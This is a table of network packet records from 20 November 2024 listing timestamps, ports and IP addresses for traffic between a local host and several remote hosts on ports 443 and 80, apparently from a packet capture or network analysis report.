Nov 20, 2024 00:19:20.388511896 CET	49789	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.388581038 CET	443	49789	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.388689041 CET	49789	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.389110088 CET	49789	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.389141083 CET	443	49789	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.400784969 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.400830984 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.667934895 CET	443	49784	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.669179916 CET	49784	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.669179916 CET	49784	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.669195890 CET	443	49784	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.669217110 CET	443	49784	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.712090969 CET	443	49785	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.712817907 CET	49785	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.712866068 CET	443	49785	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.713073015 CET	49785	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.713079929 CET	443	49785	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.713738918 CET	443	49786	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.714102030 CET	49786	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.714124918 CET	443	49786	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.714632988 CET	49786	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.714644909 CET	443	49786	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.725558043 CET	443	49787	173.222.162.64	192.168.2.6
Nov 20, 2024 00:19:20.725656033 CET	49787	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:20.776433945 CET	443	49784	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.776483059 CET	443	49784	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.776635885 CET	49784	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.776879072 CET	49784	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.776879072 CET	49784	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.776905060 CET	443	49784	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.776917934 CET	443	49784	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.780401945 CET	49791	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.780488968 CET	443	49791	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.780649900 CET	49791	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.780854940 CET	49791	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.780889034 CET	443	49791	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.807168007 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.813616037 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.813630104 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.813647032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.813652039 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.813699007 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.817365885 CET	443	49785	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.817514896 CET	443	49785	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.817791939 CET	49785	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.818033934 CET	49785	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.818056107 CET	443	49785	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.818276882 CET	49785	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.818284988 CET	443	49785	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.821670055 CET	443	49786	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.821712017 CET	49792	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.821760893 CET	443	49792	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.821825027 CET	443	49786	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.821852922 CET	49792	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.821962118 CET	49786	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.822129011 CET	49792	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.822129011 CET	49786	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.822144985 CET	443	49792	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.822165966 CET	443	49786	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.822182894 CET	49786	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.822187901 CET	443	49786	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.825145006 CET	49793	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.825177908 CET	443	49793	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.825284958 CET	49793	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.825752974 CET	49793	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.825771093 CET	443	49793	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.846157074 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.853578091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853627920 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853632927 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853693962 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853699923 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853710890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853718042 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853730917 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.853849888 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853857040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853868961 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853873968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853879929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853887081 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.853913069 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.853913069 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854003906 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854053974 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854059935 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854073048 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854079008 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854090929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854096889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854106903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854113102 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854120970 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854125977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854141951 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854166985 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854166985 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854166985 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854191065 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854383945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854389906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854402065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854408026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854415894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854422092 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854428053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854438066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854458094 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854470015 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854475975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854479074 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854479074 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854482889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854491949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854506016 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854511976 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854516983 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854523897 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854543924 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854543924 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854583979 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854823112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854829073 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854840040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854846001 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854852915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854866982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854868889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854871035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854878902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854882002 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854888916 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854903936 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854940891 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.854952097 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854959011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854964972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854970932 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854976892 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854984045 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.854995012 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855001926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855007887 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855020046 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.855020046 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.855022907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855050087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855056047 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855062008 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855067968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855073929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855079889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855089903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855091095 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.855091095 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.855091095 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.855097055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855106115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855142117 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.855226994 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.855618000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855623007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855629921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855634928 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855654955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855668068 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855679035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855684996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855690956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855703115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855709076 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855715036 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855721951 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.855720997 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.855911016 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856214046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856220961 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856254101 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856281996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856290102 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856301069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856307030 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856312990 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856317997 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856329918 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856336117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856342077 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856353045 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856359959 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856365919 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856386900 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856386900 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856614113 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856620073 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856631994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856637955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856643915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856651068 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856662035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856662989 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856668949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856677055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856682062 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856682062 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856689930 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856695890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856714964 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856740952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856748104 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856748104 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856748104 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856760979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856766939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856771946 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856789112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856795073 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856801987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856806993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856812954 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856818914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856823921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856863976 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856869936 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856880903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856887102 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856893063 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856904984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856909990 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856920958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856926918 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856931925 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856942892 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.856964111 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856964111 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856964111 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856964111 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.856964111 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.857136011 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.857563019 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857572079 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857582092 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857592106 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857613087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857619047 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857630968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857635975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857642889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857654095 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857660055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857666969 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857672930 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857673883 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.857678890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857686043 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857722044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857728958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857733965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857737064 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.857737064 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.857741117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857748032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857758045 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857763052 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857764959 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.857770920 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857778072 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857784986 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857795000 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.857831955 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.857861042 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.857882023 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857888937 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857901096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857907057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857913017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857918978 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857929945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857937098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857943058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857954979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857959986 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.857976913 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.858118057 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.858572960 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858588934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858599901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858606100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858612061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858624935 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858630896 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858656883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858666897 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858673096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858679056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858685017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858691931 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858699083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858706951 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.858716965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858725071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858736038 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858743906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.858761072 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.858761072 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.858819008 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.858819008 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.859122992 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859137058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859144926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859154940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859160900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859167099 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859173059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859179974 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859191895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859200954 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859210968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859225035 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.859287977 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.859528065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859534979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859550953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859564066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859570980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859576941 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859589100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859594107 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859601021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859611988 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859620094 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.859649897 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.859719038 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.859719038 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.864330053 CET	443	49788	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.864799976 CET	49788	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.864824057 CET	443	49788	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.865284920 CET	49788	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.865289927 CET	443	49788	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.949822903 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.953026056 CET	49765	80	192.168.2.6	185.215.113.16
